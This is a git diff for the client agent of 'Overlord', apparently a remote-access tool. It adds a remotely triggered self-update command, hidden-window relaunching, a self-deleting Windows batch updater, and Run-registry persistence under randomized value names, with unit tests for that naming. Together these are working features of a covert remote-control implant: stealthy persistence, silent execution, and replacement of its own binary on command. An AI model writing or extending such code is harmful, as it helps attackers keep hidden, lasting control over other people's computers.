diff --git a/Overlord-Client/cmd/agent/handlers/agent_update.go b/Overlord-Client/cmd/agent/handlers/agent_update.go new file mode 100644 index 0000000..effb4a1 --- /dev/null +++ b/Overlord-Client/cmd/agent/handlers/agent_update.go @@ -0,0 +1,141 @@ +package handlers + +import ( + "context" + "fmt" + "io" + "log" + "os" + "path/filepath" + "strings" + "time" + + "overlord-client/cmd/agent/persistence" + agentRuntime "overlord-client/cmd/agent/runtime" + "overlord-client/cmd/agent/wire" +) + +func HandleAgentUpdate(ctx context.Context, env *agentRuntime.Env, cmdID string, sourcePath string) error { + sourcePath = strings.TrimSpace(sourcePath) + if sourcePath == "" { + return wire.WriteMsg(ctx, env.Conn, wire.CommandResult{Type: "command_result", CommandID: cmdID, OK: false, Message: "missing update path"}) + } + + sourceAbs, err := filepath.Abs(sourcePath) + if err != nil { + return wire.WriteMsg(ctx, env.Conn, wire.CommandResult{Type: "command_result", CommandID: cmdID, OK: false, Message: fmt.Sprintf("invalid update path: %v", err)}) + } + if err := ensureRegularFileOnDisk(sourceAbs); err != nil { + return wire.WriteMsg(ctx, env.Conn, wire.CommandResult{Type: "command_result", CommandID: cmdID, OK: false, Message: err.Error()}) + } + + if err := wire.WriteMsg(ctx, env.Conn, wire.CommandResult{Type: "command_result", CommandID: cmdID, OK: true}); err != nil { + return err + } + + go func() { + // Let the command_result flush before beginning process replacement. + time.Sleep(250 * time.Millisecond) + if err := runAgentUpdate(sourceAbs, env.Cfg.EnablePersistence); err != nil { + log.Printf("agent_update: %v", err) + return + } + os.Exit(0) + }() + + return nil +} + +func resolveCurrentExecutableOnDisk() (string, error) { + exePath, err := os.Executable() + if err != nil { + return "", fmt.Errorf("failed to resolve current executable: %w", err) + } + if realPath, err := filepath.EvalSymlinks(exePath); err == nil { + exePath = realPath + } + absPath, err := filepath.Abs(exePath) + if err != nil { + return "", fmt.Errorf("failed to resolve absolute executable path: %w", err) + } + if err := ensureRegularFileOnDisk(absPath); err != nil { + return "", fmt.Errorf("current executable is not a regular on-disk file: %w", err) + } + return absPath, nil +} + +func ensureRegularFileOnDisk(path string) error { + info, err := os.Stat(path) + if err != nil { + return fmt.Errorf("file %q is not available on disk: %w", path, err) + } + if !info.Mode().IsRegular() { + return fmt.Errorf("file %q is not a regular file", path) + } + return nil +} + +func copyExecutableAtomic(sourcePath string, targetPath string) error { + srcFile, err := os.Open(sourcePath) + if err != nil { + return fmt.Errorf("failed to open source executable: %w", err) + } + defer srcFile.Close() + + dir := filepath.Dir(targetPath) + if err := os.MkdirAll(dir, 0755); err != nil { + return fmt.Errorf("failed to create target directory: %w", err) + } + + tmpFile, err := os.CreateTemp(dir, "agent-update-*.tmp") + if err != nil { + return fmt.Errorf("failed to create temp executable: %w", err) + } + tmpPath := tmpFile.Name() + defer func() { + _ = tmpFile.Close() + _ = os.Remove(tmpPath) + }() + + if _, err := io.Copy(tmpFile, srcFile); err != nil { + return fmt.Errorf("failed to copy executable: %w", err) + } + if err := tmpFile.Sync(); err != nil { + return fmt.Errorf("failed to sync executable: %w", err) + } + if err := tmpFile.Close(); err != nil { + return fmt.Errorf("failed to close temp executable: %w", err) + } + + if err := os.Rename(tmpPath, targetPath); err != nil { + if removeErr := os.Remove(targetPath); removeErr == nil { + if retryErr := os.Rename(tmpPath, targetPath); retryErr == nil { + return nil + } + } + return fmt.Errorf("failed to replace executable at %s: %w", targetPath, err) + } + return nil +} + +func startupTargetPath(enablePersistence bool) (string, bool, error) { + if !enablePersistence { + return "", false, nil + } + targetPath, err := persistence.TargetPath() + if err != nil { + return "", false, fmt.Errorf("failed to resolve startup target path: %w", err) + } + targetPath, err = filepath.Abs(targetPath) + if err != nil { + return "", false, fmt.Errorf("failed to resolve startup target absolute path: %w", err) + } + return targetPath, true, nil +} + +func samePath(left string, right string) bool { + if left == "" || right == "" { + return false + } + return samePathByOS(left, right) +} diff --git a/Overlord-Client/cmd/agent/handlers/agent_update_unix.go b/Overlord-Client/cmd/agent/handlers/agent_update_unix.go new file mode 100644 index 0000000..07b2ee8 --- /dev/null +++ b/Overlord-Client/cmd/agent/handlers/agent_update_unix.go @@ -0,0 +1,57 @@ +//go:build !windows +// +build !windows + +package handlers + +import ( + "fmt" + "os" + "path/filepath" + + "overlord-client/cmd/agent/persistence" +) + +func samePathByOS(left string, right string) bool { + return filepath.Clean(left) == filepath.Clean(right) +} + +func runAgentUpdate(sourcePath string, enablePersistence bool) error { + currentExe, currentErr := resolveCurrentExecutableOnDisk() + startupPath, startupEnabled, err := startupTargetPath(enablePersistence) + if err != nil { + return err + } + + if currentErr != nil && !startupEnabled { + return currentErr + } + + restartPath := currentExe + if startupEnabled { + restartPath = startupPath + } + if restartPath == "" { + return fmt.Errorf("no restart path available for update") + } + + if startupEnabled { + if err := copyExecutableAtomic(sourcePath, startupPath); err != nil { + return err + } + if err := persistence.Configure(startupPath); err != nil { + return fmt.Errorf("failed to refresh startup entry: %w", err) + } + } + + if currentErr == nil && !samePath(currentExe, restartPath) { + if err := copyExecutableAtomic(sourcePath, currentExe); err != nil { + return err + } + } + _ = os.Remove(sourcePath) + + if err := startSilentProcess(restartPath, nil, "", true); err != nil { + return fmt.Errorf("failed to launch updated agent: %w", err) + } + return nil +} diff --git a/Overlord-Client/cmd/agent/handlers/agent_update_windows.go b/Overlord-Client/cmd/agent/handlers/agent_update_windows.go new file mode 100644 index 0000000..75fe199 --- /dev/null +++ b/Overlord-Client/cmd/agent/handlers/agent_update_windows.go @@ -0,0 +1,178 @@ +//go:build windows +// +build windows + +package handlers + +import ( + "fmt" + "log" + "os" + "os/exec" + "path/filepath" + "strings" + "syscall" + + "golang.org/x/sys/windows" + + "overlord-client/cmd/agent/persistence" +) + +func samePathByOS(left string, right string) bool { + return strings.EqualFold(filepath.Clean(left), filepath.Clean(right)) +} + +func runAgentUpdate(sourcePath string, enablePersistence bool) error { + currentExe, currentErr := resolveCurrentExecutableOnDisk() + startupPath, startupEnabled, err := startupTargetPath(enablePersistence) + if err != nil { + return err + } + + log.Printf("agent_update[win]: source=%q persistence=%v currentExe=%q currentErr=%v startupEnabled=%v startupPath=%q", sourcePath, enablePersistence, currentExe, currentErr, startupEnabled, startupPath) + + if currentErr != nil && !startupEnabled { + return currentErr + } + + restartPath := currentExe + if startupEnabled { + restartPath = startupPath + } + + if restartPath == "" { + return fmt.Errorf("no restart path available for update") + } + + if startupEnabled { + // Keep startup binary in sync when persistence/startup is enabled. + if !samePath(startupPath, currentExe) { + if err := copyExecutableAtomic(sourcePath, startupPath); err != nil { + return err + } + } + if err := persistence.Configure(startupPath); err != nil { + return fmt.Errorf("failed to refresh startup entry: %w", err) + } + } + + if currentErr != nil { + log.Printf("agent_update[win]: current executable unavailable, using deferred updater for %q", restartPath) + return launchDeferredUpdateScript(sourcePath, restartPath) + } + + if shouldLaunchUploadedBinaryDirectly(currentExe, startupEnabled) { + log.Printf("agent_update[win]: current executable appears transient (%q), launching uploaded binary directly: %q", currentExe, sourcePath) + if err := startSilentProcess(sourcePath, nil, "", true); err != nil { + return fmt.Errorf("failed to launch uploaded binary directly: %w", err) + } + return nil + } + + if samePath(currentExe, restartPath) { + log.Printf("agent_update[win]: target equals running executable, using deferred updater for %q", restartPath) + return launchDeferredUpdateScript(sourcePath, restartPath) + } + + if err := copyExecutableAtomic(sourcePath, restartPath); err != nil { + return err + } + _ = os.Remove(sourcePath) + + if err := startSilentProcess(restartPath, nil, "", true); err != nil { + return fmt.Errorf("failed to launch updated agent: %w", err) + } + log.Printf("agent_update[win]: started updated executable directly: %q", restartPath) + return nil +} + +func launchDeferredUpdateScript(sourcePath string, targetPath string) error { + scriptPath, debugLogPath, err := writeDeferredUpdateBatch(sourcePath, targetPath) + if err != nil { + return err + } + + cmdLine := fmt.Sprintf("\"%s\"", scriptPath) + cmd := exec.Command("cmd.exe", "/D", "/Q", "/C", cmdLine) + cmd.Dir = filepath.Dir(scriptPath) + cmd.SysProcAttr = &syscall.SysProcAttr{HideWindow: true, CreationFlags: windows.CREATE_NO_WINDOW} + log.Printf("agent_update[win]: deferred updater script=%q debugLog=%q cmd=%q args=%v", scriptPath, debugLogPath, cmd.Path, cmd.Args) + if err := cmd.Start(); err != nil { + return fmt.Errorf("failed to start deferred updater: %w", err) + } + log.Printf("agent_update[win]: deferred updater launched") + return nil +} + +func writeDeferredUpdateBatch(sourcePath string, targetPath string) (string, string, error) { + tmpFile, err := os.CreateTemp("", "overlord-update-*.bat") + if err != nil { + return "", "", fmt.Errorf("failed to create deferred updater batch file: %w", err) + } + defer tmpFile.Close() + + debugLogPath := strings.TrimSpace(os.Getenv("OVERLORD_UPDATE_DEBUG_LOG")) + if debugLogPath == "" { + debugLogPath = filepath.Join(os.TempDir(), fmt.Sprintf("overlord-update-%d.log", os.Getpid())) + } + + sourceVar := escapeBatchSetValue(sourcePath) + targetVar := escapeBatchSetValue(targetPath) + debugLogVar := escapeBatchSetValue(debugLogPath) + + // Retry copy for a few seconds to survive file-lock timing races during process shutdown. + script := strings.Join([]string{ + "@echo off", + "setlocal DisableDelayedExpansion", + "set \"SRC=" + sourceVar + "\"", + "set \"DST=" + targetVar + "\"", + "set \"LOG=" + debugLogVar + "\"", + "set \"COPIED=0\"", + "echo ==== overlord deferred update ==== >> \"%LOG%\"", + "echo script=%~f0 >> \"%LOG%\"", + "echo src=%SRC% >> \"%LOG%\"", + "echo dst=%DST% >> \"%LOG%\"", + "echo start_time=%DATE% %TIME% >> \"%LOG%\"", + "timeout /t 2 /nobreak >NUL", + "for /L %%I in (1,1,8) do (", + " echo copy_attempt=%%I >> \"%LOG%\"", + " copy /Y \"%SRC%\" \"%DST%\" >> \"%LOG%\" 2>&1 && (set \"COPIED=1\" & goto copied)", + " timeout /t 1 /nobreak >NUL", + ")", + ":copied", + "if \"%COPIED%\"==\"1\" (", + " echo copy_success=1 >> \"%LOG%\"", + " start \"\" \"%DST%\" >> \"%LOG%\" 2>&1", + ") else (", + " echo copy_success=0 >> \"%LOG%\"", + ")", + "del /F /Q \"%SRC%\" >> \"%LOG%\" 2>&1", + "echo end_time=%DATE% %TIME% >> \"%LOG%\"", + "del /F /Q \"%~f0\" >NUL 2>&1", + "exit /b 0", + }, "\r\n") + "\r\n" + + if _, err := tmpFile.WriteString(script); err != nil { + return "", "", fmt.Errorf("failed to write deferred updater batch file: %w", err) + } + + log.Printf("agent_update[win]: wrote deferred updater script=%q debugLog=%q", tmpFile.Name(), debugLogPath) + + return tmpFile.Name(), debugLogPath, nil +} + +func escapeBatchSetValue(value string) string { + // In SET statements, double % avoids environment expansion at parse time. + return strings.ReplaceAll(value, "%", "%%") +} + +func shouldLaunchUploadedBinaryDirectly(currentExe string, startupEnabled bool) bool { + if startupEnabled { + return false + } + clean := strings.ToLower(filepath.Clean(currentExe)) + tempRoot := strings.ToLower(filepath.Clean(os.TempDir())) + if strings.Contains(clean, `\go-build`) { + return true + } + return strings.HasPrefix(clean, tempRoot+`\`) +} diff --git a/Overlord-Client/cmd/agent/handlers/command.go b/Overlord-Client/cmd/agent/handlers/command.go index f357126..823a417 100644 --- a/Overlord-Client/cmd/agent/handlers/command.go +++ b/Overlord-Client/cmd/agent/handlers/command.go @@ -1415,6 +1415,10 @@ func HandleCommand(ctx context.Context, env *runtime.Env, envelope map[string]in payload, _ := envelope["payload"].(map[string]interface{}) path, _ := payload["path"].(string) return HandleFileExecute(ctx, env, cmdID, path) + case "agent_update": + payload, _ := envelope["payload"].(map[string]interface{}) + path, _ := payload["path"].(string) + return HandleAgentUpdate(ctx, env, cmdID, path) case "process_list": return HandleProcessList(ctx, env, cmdID) case "process_kill": diff --git a/Overlord-Client/cmd/agent/persistence/persistence_windows.go b/Overlord-Client/cmd/agent/persistence/persistence_windows.go index fbf9598..4e1dcd9 100644 --- a/Overlord-Client/cmd/agent/persistence/persistence_windows.go +++ b/Overlord-Client/cmd/agent/persistence/persistence_windows.go @@ -4,16 +4,20 @@ package persistence import ( + "crypto/rand" + "encoding/hex" "fmt" "io" "os" "path/filepath" + "strings" "golang.org/x/sys/windows/registry" ) const registryKey = `SOFTWARE\Microsoft\Windows\CurrentVersion\Run` -const registryValueName = "OverlordAgent" +const legacyRegistryValueName = "OverlordAgent" +const registryValuePrefix = "OverlordAgent-" func formatRunRegistryCommand(exePath string) string { trimmed := filepath.Clean(exePath) @@ -54,8 +58,7 @@ func install(exePath string) error { } defer k.Close() - err = k.SetStringValue(registryValueName, formatRunRegistryCommand(targetPath)) - if err != nil { + if err := setStartupRunValue(k, targetPath); err != nil { return fmt.Errorf("failed to set registry value: %w", err) } @@ -109,7 +112,7 @@ func configure(exePath string) error { } defer k.Close() - if err := k.SetStringValue(registryValueName, formatRunRegistryCommand(exePath)); err != nil { + if err := setStartupRunValue(k, exePath); err != nil { return fmt.Errorf("failed to set registry value: %w", err) } @@ -124,9 +127,8 @@ func uninstall() error { } defer k.Close() - err = k.DeleteValue(registryValueName) - if err != nil && err != registry.ErrNotExist { - return fmt.Errorf("failed to delete registry value: %w", err) + if err := cleanupOverlordRunValues(k); err != nil { + return fmt.Errorf("failed to clean startup registry values: %w", err) } appDataDir := os.Getenv("APPDATA") @@ -138,3 +140,48 @@ func uninstall() error { return nil } + +func setStartupRunValue(k registry.Key, exePath string) error { + if err := cleanupOverlordRunValues(k); err != nil { + return err + } + + name, err := generateStartupValueName() + if err != nil { + return err + } + + return k.SetStringValue(name, formatRunRegistryCommand(exePath)) +} + +func cleanupOverlordRunValues(k registry.Key) error { + names, err := k.ReadValueNames(0) + if err != nil { + return err + } + + for _, name := range names { + if isOverlordRunValueName(name) { + if err := k.DeleteValue(name); err != nil && err != registry.ErrNotExist { + return err + } + } + } + + return nil +} + +func isOverlordRunValueName(name string) bool { + if strings.EqualFold(name, legacyRegistryValueName) { + return true + } + return strings.HasPrefix(strings.ToLower(name), strings.ToLower(registryValuePrefix)) +} + +func generateStartupValueName() (string, error) { + b := make([]byte, 6) + if _, err := rand.Read(b); err != nil { + return "", fmt.Errorf("failed to generate startup value name: %w", err) + } + return registryValuePrefix + hex.EncodeToString(b), nil +} diff --git a/Overlord-Client/cmd/agent/persistence/persistence_windows_test.go b/Overlord-Client/cmd/agent/persistence/persistence_windows_test.go index 83c0556..58d4a53 100644 --- a/Overlord-Client/cmd/agent/persistence/persistence_windows_test.go +++ b/Overlord-Client/cmd/agent/persistence/persistence_windows_test.go @@ -3,7 +3,10 @@ package persistence -import "testing" +import ( + "strings" + "testing" +) func TestFormatRunRegistryCommand_QuotesUnquotedPath(t *testing.T) { in := `C:\Users\Test User\AppData\Roaming\Overlord\agent.exe` @@ -21,3 +24,38 @@ func TestFormatRunRegistryCommand_LeavesQuotedPath(t *testing.T) { t.Fatalf("expected %q, got %q", in, got) } } + +func TestGenerateStartupValueName(t *testing.T) { + name, err := generateStartupValueName() + if err != nil { + t.Fatalf("generateStartupValueName failed: %v", err) + } + if !strings.HasPrefix(name, registryValuePrefix) { + t.Fatalf("expected prefix %q, got %q", registryValuePrefix, name) + } + if len(name) != len(registryValuePrefix)+12 { + t.Fatalf("expected random suffix length 12, got name=%q", name) + } +} + +func TestIsOverlordRunValueName(t *testing.T) { + tests := []struct { + name string + in string + want bool + }{ + {name: "Legacy", in: "OverlordAgent", want: true}, + {name: "LegacyCaseInsensitive", in: "overlordagent", want: true}, + {name: "Randomized", in: "OverlordAgent-a1b2c3d4e5f6", want: true}, + {name: "RandomizedCaseInsensitive", in: "overlordagent-deadbeefcafe", want: true}, + {name: "OtherApp", in: "OneDrive", want: false}, + } + + for _, tt := range tests { + t.Run(tt.name, func(t *testing.T) { + if got := isOverlordRunValueName(tt.in); got != tt.want { + t.Fatalf("isOverlordRunValueName(%q)=%v, want %v", tt.in, got, tt.want) + } + }) + } +}